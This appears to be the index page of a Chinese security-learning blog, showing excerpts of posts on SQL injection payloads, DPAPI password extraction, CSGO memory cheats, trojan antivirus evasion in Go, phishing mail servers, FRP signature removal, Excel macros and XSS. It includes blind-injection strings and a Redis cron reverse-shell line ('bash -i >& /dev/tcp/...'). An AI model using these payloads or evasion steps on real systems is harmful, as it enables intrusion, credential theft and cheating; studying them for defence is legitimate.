Windows学习笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
不要问为什么没更新文章,在恶补英语所以没产出
之前关于红蓝对抗的文章是跟着其他文章学习的,现在看起来好乱,所以都删了改成这篇文章,主要还是记录自己的笔记,没有什么新技术
搭建域环境
环境清单
由于我们需要域环境模拟常规的内网,所以搭建域环境
Windows 2008 R2 X64
Windows 10
Windows 7 SP1 X64
Windows需要执行set-executionpolicy remotesigned来打开默认不允许执行ps脚本
配置静态IP位置:网络和共享中心->本地连接->属性->IPV4
然后需要设置一个DNS指向本机,因为它后面是一个域控的角色,IP地址可以在详细信息里面看,最好和现在类似。
配置域环境在服务管理器中添加角色
然后勾选这个,这边提一句在创建域的时候还需要把当前用户设置为强密码
然后就是无脑下一步安装,就可以安装成功了
接着我们点开角色位置 ...
Windows本地密码抓取
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
学!后续会持续更新
系统密码DPAPI解密使用用户登录密码解密Master Key file,获得Master Key
固定位置: %APPDATA%\Microsoft\Protect\%SID%下往往有多个Master Key file
这是为了安全起见,系统每隔90天会自动生成一个新的Master Key(旧的不会删除)
%APPDATA%\Microsoft\Protect\%SID%下存在一个固定文件Preferred,包含最后一个Master Key file的名称和创建时间,文件结构如下:
12345typedef struct _tagPreferredMasterKey{ GUID guidMasterKey; FILETIME ftCreated;} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;
完整的流程:
找到本机的Maste ...
数据库利用汇总
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
找笔记是在太烦人了,干脆全部写在一篇里面(来自1年半后的从写
随手测试语句语句前面适当加入' 、"、and等参数
1234567891011#算个MD5extractvalue(1,concat(char(126),md5(1941797210)))#MySQL常用的盲注语句(CASE/**/WHEN/**/(2382=2382)/**/THEN/**/SLEEP(5)/**/ELSE/**/2382/**/END) (select*from(select+sleep(4)union/**/select+1)a)#SQL Server常用的盲注语句/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/#Oracle常用的盲注语句/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('n' ...
杂项知识汇总
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
验证码相关手机短信接码
国内平台
123456789https://www.pdflibr.comhttps://www.visitorsms.com/cnhttps://www.becmd.comhttp://www.114sim.comhttps://yunduanxin.nethttp://www.smszk.comhttp://z-sms.comhttp://www.shejiinn.comhttps://sms.cngrok.com
国外平台
123456789101112131415161718192021222324252627https://ch.freephonenum.comhttps://smsreceivefree.comhttps://zh.mytrashmobile.comhttps://www.receive-sms-online.infohttps://receiveasms.comhttps ...
Linux学习笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
于2020/3/18日重新排版修改
根目录解析
/ - 根目录
每一个文件和目录都从这里开始。
只有root用户具有该目录下的写权限。此目录和/root目录不同,/root目录是root用户的主目录。
/bin - 用户二进制文件
包含二进制可执行文件。
系统的所有用户使用的命令都设在这里,例如:ps,ls,ping,grep,cp等。
/sbin - 系统二进制文件
就像/bin,/sbin同样也包含二进制可执行文件。
但是,在这个目录下的linux命令通常由系统管理员使用,对系统进行维护。例如:iptables、reboot、fdisk、ifconfig、swapon命令。
/etc - 配置文件
包含所有程序所需的配置文件。
也包含了用于启动/停止单个程序的启动和关闭shell脚本。例如:/etc ...
P4wnP1全家桶安装及实战
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
今天想用自己USB入侵设备的时候,发现WIFI密码给忘了
重装的时候发现自己没有写详细过程!呸!!最后只能删了重写写过。
写在前头血的教训
树莓派没有那么容易坏不用买第二个!!
网上的wpa_supplicant.conf开启WIFI我试了N次都没成功过
USB转接头一定要买不需要焊接(别买Zero Quick Plug Bad USB
树莓派Zero W自带WIFI所以别再买WIFI模块了
装完P4wnP1切记重启不要直接拔掉会导致开不了机
1sudo shutdown -r now
成品图
硬件需求
树莓派Zero W
USB接头
TF卡一张
通过网线连接树莓派
首先在config.txt最末行处换行添加如下代码,打开usb网卡模式
1dtoverlay=dwc2
其次在cmdline.txt文件中找到rootwait字段,并在其后面空格添加如下信息,在打开系统时开启usb网卡 ...
硬件相关知识
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对两年前的知识进行了下温习,发现好多坑都填上了,然后把之前的文章删了总结到了一篇,到时候还有些点需要填上
Windows/Linux的内存结构关于栈
两个系统的内容都差不多可以参考这篇文章:Linux栈溢出总结0x00
关于堆
暂时未有,等写到的时候添加
Windows的内存结构分布
首先是内存结构分布图,windows的内存默认是从0x80000000位置开始的
Linux的内存结构分布
首先先放个内存结构图,linux内存默认是从0xC0000000位置开始的
Windows/Linux的汇编区别x86汇编一直存在两种不同的语法,在intel的官方文档中使用intel语法,Windows也使用intel语法,而UNIX平台的汇编器一直使用AT&T语法。而linux是UNIX衍生的一种系统所有也是使用AT&T语法。
相关区别:
AT&T使用 $ 表示立即 ...
CSGO破解学习(八)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
透视看到CS的显示模式是通过OpenGL来做到的,这个是微软官方的动态链接库
作为图形硬件的软件接口,OpenGL 的主要用途是将二维和三维对象呈现为框架缓冲区。 这些对象被描述为顶点序列,这些顶点 (定义几何对象) 或像素 (定义图像) 。 OpenGL 对此数据执行多个过程,以将其转换为像素,以在帧缓冲区中形成最终所需的图像。
以下主题演示 OpenGL 工作原理的全局视图:
基元和命令 将点、线段和多边形作为绘图的基本单位进行讨论:以及命令的处理。
OpenGL 图形控件 描述哪些图形操作 OpenGL 控件及其不控制。
执行模型 讨论用于解释 OpenGL 命令的客户端/服务器模型。
基本 OpenGL 操作提供有关 OpenGL 如何处理数据以在帧缓冲区中生成相应图像的高级说明。
OpenGL 函数名称描述 OpenGL 中使用的命名约定。
我们只需要关注两个函数
openGL32.dll -&g ...
CSGO破解学习(七)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
分析游戏的结构体首先我们拿出我们之前的基地址进行结构体分析
然后往下拉找到7C 这个位置
打开有这些结构体,我们一个一个的点开看,7C的00便宜没有什么数据,但是04偏移打开竟然看到了我们的指针
那么X坐标的真实偏移应该是cstrike.exe+11069BC+7C+04+08,而不是cstrike.exe+11069BC+88,那么我们就可以印证了上一篇的猜想
查找准心指向我们首先新建一个未知的扫描(新建的时候需要把准心对着墙壁),然后把准心对着自己队友后选择变化了,然后移到墙上搜索变化了,往复搜索最终会得到
这些数据,然后我们在跑到敌人的位置,把准心对着敌人然后在搜索变化了
就剩下这几个值,接着我们对着另一个敌人
可以看到一个值还是2,而一个值变成了6,那么我们就根据之前搜索到的数据来判断,09E1DBD8这个是阵营,09E1DBDC是敌人编号,然后我们看之前的偏移值
和上面的偏移相差不大,所以就得到了下面 ...
CSGO破解学习(六)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
获取手雷地址首先需要找到手雷的基地址,通过买手雷,然后丢了,然后在买进行搜索
然后在基地址中筛选最终的值为0583D9F8接着找基地址,右键查看什么修改了它
可以看到这个值和我们之前的不太一样,它是ecx+eax*4+000005F8 也就是说0583D3D0+C*4+5F8,算出结果是0583D3D0+628,接着使用结构体的方式来确认数值
为什么上图的地址是18B19630而不是0583D3D0了是因为我切换了地图
猜测以及思考通过找了这么多的数据,我们可以进行一下分析,大概可以猜测一下人物的结构体
cstrike.exe+11069BC+7c存放的是整个人物的基址
cstrike.exe+11069BC+7c+4存放的关于游戏内人物具体属性的具体地址
cstrike.exe+11069BC+7c+5F0 存放的是使用武器的地址
我们通过猜测结构体,来到具体的内存位置,对人物进行操作,然后对内存进行观察,可以发 ...
CSGO破解学习(五)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前置
CSGO版本更改为v3248(对之前版本的基地址进行了修改)
获取自己和敌人坐标首先站在平面上搜索单浮点
然后在最低点的石头上搜索增加的值
接着走到顶还是搜索增加的值
接着跳下来搜索减少的
然后乱动搜索未变动的
然后跳起来的瞬间搜索变动的值
接着一个值一个值的去测试,但是这种很大的值和0都不用管它,找那种大量一样的值,然后批量选择按空格键锁定,看下人物能不能调高,如果不行那么就表示这个值是对的,最终锁定了这个值
然后就是通过老方法找基址了
接着搜索
一下子就找到了,一个是我们的地址,一个是敌人的地址,接着浏览相关内存区域
就能找到X和Y的坐标了
然后同理找到我们和敌人共用的内存地址
然后验证下
切记要等他指针变成不是你自己地址的时候去修改他
随时下包首先搜索未知地址然后进入到下包点
看到这个变成红绿闪烁的时候搜索变动的值,然后离开下包点
等这个变成绿色的时候再次搜索变动的,以此往复
...
CSGO破解学习(四)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
手枪连发查找方式和之前的无后座力一样的操作,通过浏览内存地址区域(当前角色的主武器子弹地址),然后我们可以看到,开枪后按住左键只有一个地址在疯狂跳动,松开武器后直接变为了0
我们把这个地址添加到列表中,然后锁定他
可以看到手枪变成了冲锋枪,然后通过基地址一查,和冲锋枪的无后座力是同一个值,我们锁定无后座力的值查看
辨别敌我首先添加3个机器人,然后按~键弹出控制面板,输入bot_stop 1
接着把准心对着敌人进行进行搜索未知初始值
然后把准心移开后搜索变动的值
接着乱跑乱动后搜索未变动的值
接着把准心再次放到敌人身上搜索变动的值,后重复这些动作
最终只剩下这些值以后,当我们把鼠标当道敌人身上可以看到绿色和黑色的地址中有一个值06689B2C和01A01F14都是为2,而06689B30和01A01F18显示不同的数值,接下来我们切换到自己的阵营看看
06689B2C和01A01F14的值变成了1,而0668 ...
CSGO破解学习(三)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
被攻击不减速有两种方式来搜索这个地址
编辑->热键,然后在变动的数值和未变动的数值中设置快捷键,然后通过在扫描类型中选择:未知的初始化值,然后在被攻击的时候按变动的数值快捷键,未被攻击的时候按未变动的数值快捷键,来找出值(速度巨慢)
根据C++结构体的方式来查找
我们可以看到所有当前角色的指针都是cstrike.exe+D6E63C+7C然后加上某个值,那么我们就认为它代表的是这个游戏中当前角色,所有我们使用cstrike.exe+D6E63C+7C+5E8的这个值来查找,右键浏览相关内存区域
接着查看在内存区域右键切换数据类型
最后就在攻击和被攻击的时候分别查看上面一块区域和下面一块区域的内存地址,找到想符合的值,就是这个人物结构体上下找相关的值
图中纵坐标0066C5670横坐标38位置的值可以看到我们被攻击了就变成了小于1的值,如果不被攻击就为1,我们就断定他就是被攻击的小数值,然后我们右键这个值 ...
SMB匿名访问共享
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
kali修改文件/etc/samba/smb.conf,内容如下:
12345678910111213[global] map to guest = bad user server role = standalone server usershare allow guests = yes idmap config * : backend = tdb smb ports = 445[smb] comment = Samba path = /tmp/ guest ok = yes read only = no browsable = yes
然后启动服务
12service smbd start service nmbd start
然后挂在共享目录
1mount -t cifs //192.168.50.28/ascotbe /tmp
然后访问的Windows需 ...
CSGO破解学习(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
搜索血量在搜索血量的时候我按着之前子弹的办法来搜索,结果找不到具体的值,后面发现血量有可能是单浮点,而并不是我们看到的那个整数
然后我们购买炸弹o+4进行购买,然后炸自己(别炸死了),就按这种方式一直搜索,然后找到黑色的地址通过验证子弹的方式来验证,最终找到如下临时地址
接着按着子弹的方式去找他的基址
然后搜索这个地址可以找到四个值,使用这个方法来查找
为什么选这个地址?因为只有这个地址改变了,其他的没变
为什么要使用这个方法?因为使用了找出是什么改写了这个地址无法准确的定位到上一级的地址
可以看到值在疯狂的刷新,然后再次搜索0A167E38
依旧找到了一个疯狂刷新的值,接着找到了0AA5DADC这个值,然后继续搜索
看看我们发现了什么?和我们子弹的基址是一样的,那么我们就可以断定,这个值是我们当前角色的基址,而另一个是所有玩家的基址,最终我们得到了如下结果
然后我们添加机器人验证,可以看到所有人血量的 ...
CSGO破解学习(一)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
准备工作
CSGO1.6版本
分卷1
分卷2
分卷3
Cheat Engine下载地址
搜索子弹在正式开始前还是需要一些基本的使用知识,首先我们通过内存搜索子弹,然后基于二分法进行筛选数据
上面是我们搜索出来的数据,暂时把它定义为当前地图当前身份当前人物手持的这一把AK枪的子弹内存
为什么要这样喊呢?因为在游戏里面会有多个数据结构环环嵌套,指针一个指向一个进行套娃
我们通过:右键该内存->找出是什么改写了这个地址
然后我们点击手动添加地址把06F03960加上偏移CC,即可显示当前枪械的子弹
所以06F03960就是我们上一级的地址,我们只需要使用新的扫描来搜索
可以看到4个地址,接下来我们回到游戏,把主武器丢弃查看变化
可以看到第一个地址的值变为了00000000,那我们可以知道这个地址是当前主武器的名称,而里面的06F03960是这个武器的名称。我们尝试丢弃主武器后重新换一把枪
接下 ...
Linux栈溢出总结(0x00)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离第一篇栈溢出学习文章已经过去了1年半了,今天看到一篇文章终于解决了之前的一些疑惑,也理清了很多东西,记录一下,原文地址
1https://mp.weixin.qq.com/s/cmLp5aHfqy1-wYiNiqdq-Q
什么是栈简单来说,栈 是一种 LIFO(Last In Frist Out,后进先出) 形式的数据结构。栈一般是从高地址向低地址增长,并且栈支持 push(入栈) 和 pop(出栈) 两个操作。如下图所示:
push 操作先将 栈顶(sp指针) 向下移动一个位置,然后将数据写入到新的栈顶;而 pop 操作会从 栈顶 读取数据,并且将 栈顶(sp指针) 向上移动一个位置。
例如,将 0x100 压入栈,过程如下图所示:
我们再来看看 出栈 操作,如下图所示:
栈帧栈帧,也就是 Sack Frame,其本质就是一种栈,只是这种栈专门用于保存函数调用过程中的各种信息(参数,返回地址,本地变量 ...
Go使用WindowsApi笔记
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在学Go相关的免杀,来提高木马的存活性,看到一些有意思的东西记下来
加载DLL要在Go中加载DLL,可以使用syscall.NewLazyDLL或syscall.LoadLibrary 以及syscall.MustLoadDLL。
NewLazyDLL返回一个*LazyDLL,懒加载,只在第一次调用其函数时才加载库;
LoadLibrary是立即加载DLL库。
创建函数
syscall.NewLazyDLL
123456789101112package mainimport ( "syscall" "unsafe")func main() { user32 := syscall.NewLazyDLL("user32.dll") MessageBoxW := user32.NewProc("MessageBoxW") M ...
关于邮件钓鱼的哪些事(二)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
首先需要编写一个钓鱼一键化平台,然后进入我们的正题
搭建邮件服务器首先卸载Postfix如果没有Postfix就跳过
12sudo systemctl stop postfixsudo apt remove postfix && apt purge postfix
安装Sendmail1sudo apt install sendmail
配置Sendmail服务器1sudo sendmailconfig
接收输入电子邮件编辑/etc/mail/sendmail.mc
123456DAEMON_OPTIONS(`Family=inet, Name=MTA-v4, Port=smtp, Addr=127.0.0.1')dnlDAEMON_OPTIONS(`Family=inet, Name=MSP-v4, Port=submission, M=Ea, Addr=127.0.0.1& ...
Redis写SHELL
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
通过计划任务获取SHELL首先进行连接
1redis-cli -h 192.168.251.17 -p 6379
然后设置文件夹路径
1config set dir /var/spool/cron/crontabs
如果出现(error) ERR Changing directory: Permission denied标明Redis并不是root权限启动的,权限不足,需要使用redis-server /etc/redis/redis.conf来启动程序,不能使用service redis start来启动
接着修改文件,Ubuntu的计划任务是在这个文件中
1config set dbfilename root
设置计划任务,需要添加\n符号,因为写进去后会有很多无用数据
1set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.251.16/8 ...
常见工具特征去除
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
FRP改造
改造之前
在受害者机器上使用frpc.exe -c frpc_socker.ini连接服务起的时候,会产生一个这种数据校检
流量改造
1pkg\msg\msg.go
这几个函数中保存着上面的信息
我在前加个了前缀
而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下
改成随便一个版本
结果如下
编译方式
首先执行make会进行一些GitHub的包下载(最好使用代理
接着执行make -f Makefile.cross-compiles进行编译
配置文件改造
全称只需要修改这个文件cmd/frpc/sub/root.go
先修改var位置,添加ip、port、fileContent这三个参数
123456789101112131415161718192021222324252627282930313233343536var ( cfgFile ...
蔓灵花APT组织针对巴基斯坦定向攻击的样本分析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容
样本
文件类型
PE32 executable (console) Intel 80386, for MS Windows
文件大小
31KB
MD5
8d42c01180be7588a2a68ad96dd0cf85
SHA1
89a7861acb7983ad712ae9206131c96454a1b3d8
SHA256
0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0
时间戳
0x5C32FC2B (Mon Jan 07 15:13:47 2019)
PDB
c:\Users\Asterix\Documents\Visual Studio 2008\Projects ...
Linux堆溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
HVV结束,终于能闲下来学习了,开新坑啦好耶
记个小知识点
libc是Linux下的ANSI C函数库。
glibc是Linux下的GUN C函数库。
Linux下原来的标准c库Linux libc逐渐不再被维护。Linux下面的标准c库不仅有这一个,如uclibc、klibc,以及上面被提到的Linux libc,但是glibc无疑是用得最多的。glibc在/lib目录下的.so文件为libc.so.6。
堆内存管理机制介绍不同平台的堆内存管理机制不相同,下面是几个常见平台的堆内存管理机制:
平台
堆内存分配机制
General purpose allocator
dlmalloc
glibc
ptmalloc2
free BSD and Firefox
jemalloc
Google
tcmalloc
Solaris
libumem
在 Linux 的 g ...
Linux栈溢出总结(0x03)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
上篇文章真的就是一改就花了一个月时间,然后发现篇幅有点太长了分割一下,感觉这篇也需要好久
记录
几个未填坑的点
如何计算出TLS的offset大小(EXP抄的,我也懵
SSP题目中,为什么当可执行文件足够小的时候,他的不同区段可能会被多次映射?
绕过PIE保护
测试代码(题目泄露地址)
12345678910111213//test.c#include <unistd.h>#include <stdio.h>void vuln_func() { char buf[128]; read(STDIN_FILENO, buf, 256);}int main(int argc, char *argv[]) { printf("%p\n",&main); vuln_func(); write(STDOUT_FILENO, " ...
Office Excel Macro
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
好久没笼统的学习了,梳理下Excel宏相关的东西以防下次要用的时候都不会。
关于宏据我所知微软office所支持的宏里面,目前有两种
1992年:微软在office中引用了名为Excel4.0的宏代码技术,也被成为XLM宏。Excel4.0宏代码写在表格中,宏代码的具体文件呈现为xml而不是二进制文件。
1993年:微软更新了Excel5.0技术,也就是现在常见的VBA宏代码。
从Excel2010到Excel2019全线产品都支持Excel4.0宏。同时微软也提到,虽然目前Microsoft Excel仍然支持Excel4.0宏,但还是建议用户使用VBA宏。
Macro 4.0简单利用在箭头位置点击右键->插入即可使用
接着会出现一个新建的宏表格,我们在表格中添加如下命令,即可完成一个简单的宏
12=EXEC("calc.exe")=ALERT("hello ascotb ...
从零开始编写XSS平台
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在我们日常渗透或者红队打点的时候都或多或少的会挖掘到XSS漏洞,由于红队钓鱼也经常用到XSS平台,虽然网上免费可以注册的平台很多,但是这些平台都是别人的首先钓鱼到的数据并不是只有你一个人可见,网站的管理员也可以看的到,这就会对某些敏感的红队项目的信息造成泄漏,其次网站也经常不稳定,尝尝十天半个月就要换一个平台重新来一次,所以这篇文章就来了~
项目地址:https://github.com/Ascotbe/Medusa
什么是XSS跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
Cross-site scripting的英文首字母缩写本应为CSS,但因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading ...
Linux ELF格式解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在写PE结构解析的时候,以为ELF结构没必要去看文件结构,直到后面做了PWN题发现不是这样的,所有还是学习下ELF结构,然后再写个解析器
常见结构区分
目前,PC平台流行的可执行文件格式(Executable)主要包含如下两种,它们都是COFF(Common File Format)格式的变种
Windows下的PE(Portable Executable)
Linux下的ELF(Executable Linkable Format)
源代码经过编译后但未进行连接的那些中间文件(Windows的.obj和Linux的.o),它与可执行文件的格式非常相似,所以一般跟可执行文件格式一起采用同一种格式存储。
其中动态链接库(DDL,Dynamic Linking Library)和静态链接库(Static Linking Library)的格式都和当前系统对应的可执行文件结构一样
动态链接库:Windows的.dll ...
Linux栈溢出总结(0x02)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
在上篇中介绍了一些常见保护,以及如何开关,还有如何生成shellcode等操作,就那么点东西我搞了一星期,真是菜吐了,心态崩了了
写在前面的几个笔记
CALL和RET指令解释
CALL指令调用某个子函数时,下一条指令的地址作为返回地址被保存到栈中。等价于PUSH返回地址与JMP函数地址的指令序列
RET指令跳转到CALL指令保存的返回地址,讲控制权交还给调用函数。等价于POP返回地址与JMP返回地址的指令序列
AMD64和i386的区别
由于后面的利用方式可能会用到64位的程序,所以在前面把两者几个点需要区别下
首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则就会抛出异常。
其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI、RSI、RDX、RCX、 R8和R9中,如果还有更 ...
Linux栈溢出总结(0x01)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
记录下自己学习堆栈溢出的内容,这篇就是栈溢出入门的东西,也算是栈溢出总结的上篇,缝合怪文章大部分都是参考各个师傅的文章。写文章的初心是为了总结梳理下自己的学习过程。22年重新修改部分内容
栈溢出利用方式
ROP(修改返回地址,让其指向内存中已有的一段指令
ret2shellcode(修改返回地址,让其指向溢出数据中的一段指令
ret2libc(修改返回地址,让其指向内存中已有的某个函数
BROP
ret2dl-resolve
SROP
常用保护机制
CANNARY金丝雀(栈保护)/Stack protect/栈溢出保护栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止 ...
恶意程序研究之DLL劫持
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
DLL劫持DLL劫持一直深受黑客们的喜欢,利用此技术可以实现启动木马后门,游戏外挂插件的注入,绕过UAC等操作。
全文约定:全文中系统盘所在的位置默认为C盘
DLL加载顺序DLL是以文件的形式存在在硬盘中,那么应用程序又是如何索引所需的DLL呢?其实,Microsoft已在此处完整记录了DLL搜索顺序。
微软的DLL劫持分为三个阶段
无保护阶段:Windows XP SP2之前
保护阶段:Windows XP SP2之后,Windows 7之前
进一步保护阶段:Windows 7之后
Windows XP SP2之前
进程对应的应用程序所在目录;
加载 DLL 时所在的当前目录;
系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
16位系统目录即 SYSTEM 目录;
Windows目录(通过 GetWindowsDirectory 获取);
PATH环境变量中的各个目录;
...
Windows杂谈
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
梳理Windows的历史
Windows杂谈微软于1985年11月20日推出了名为Windows的操作系统,作为MS-DOS的图形操作系统外壳,而MacOS是1984年推出的。并且Windows 10是微软最后一个版本的操作系统,不在会有像Windows 7 和Windows 7 sp1 或者sp2这种升级,而是统一使用Windows 10 1507这样的编号。
Windows内核区别
MS-DOS
1980年,西雅图计算机产品公司的一名24岁的程序员Tim Paterson(蒂姆·帕特森)花费了四个月时间编写出了 86-DOS 操作系统。1981年7月,微软以五万美元的代价向西雅图公司购得本产品的全部著作权,并将它更名为 MS-DOS。
MS-DOS源码下载
1https://computerhistory.org/blogs/microsoft-research-license-agreement-msd ...
关于邮件钓鱼的哪些事
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
漏洞利用那一节放到下篇吧,复现环境有点难找
测试环境
kail-2019.4
windows7 sp1 x64
windows10 x64
Office宏首先来区别下Word和Excel各种后缀中的区别Word文档97-2003的旧版本文件名后缀就是.doc
从2007版以后后缀名是.docx
docx厉害一点。它是被压缩过的文档,体积更小,能处理更加复杂的内容,访问速度更快。
如果把docx的改为zip的话可以解压出里面的所有数据,不过空文档大部分都是XM格式的文件
Excel表格xls是一个特有的二进制格式,其核心结构是复合文档类型的结构,而xlsx的核心结构是XML类型的结构,采用的是基于XML的压缩方式,使其占用的空间更小。xlsx中最后一个x的意义就在于此。
xls是2003版本下的文件 ,不管有没有宏程序的话都是xls文件 ,从2007开始做了区分,xlsm文件和xlsx文件都是excel 2007及其 ...
XXE的一些利用方式
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对没错这是这星期的第四篇文章了,我感觉要肝不动了啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
XXE是什么XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
基础知识XML是一种用于标记电子文件使其具有结构性的标记 ...
信息收集总结
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
对没错这是这星期的第三篇文章了,目前只写了个GitHub的使用方法,等周六周天补充吧
Github搜索语法众所周知,GitHub就是信息泄露的宝库之一,用好语法天天高危来敲你家门(逃
相关语法查询大于或小于另一个值的值您可以使用>,>=,<,和<=搜索是大于,大于或等于,小于和小于或等于另一个值的值。
查询
示例
>n
cats stars:>1000 匹配含有 “cats” 字样、星标超过 1000 个的仓库。
>=n
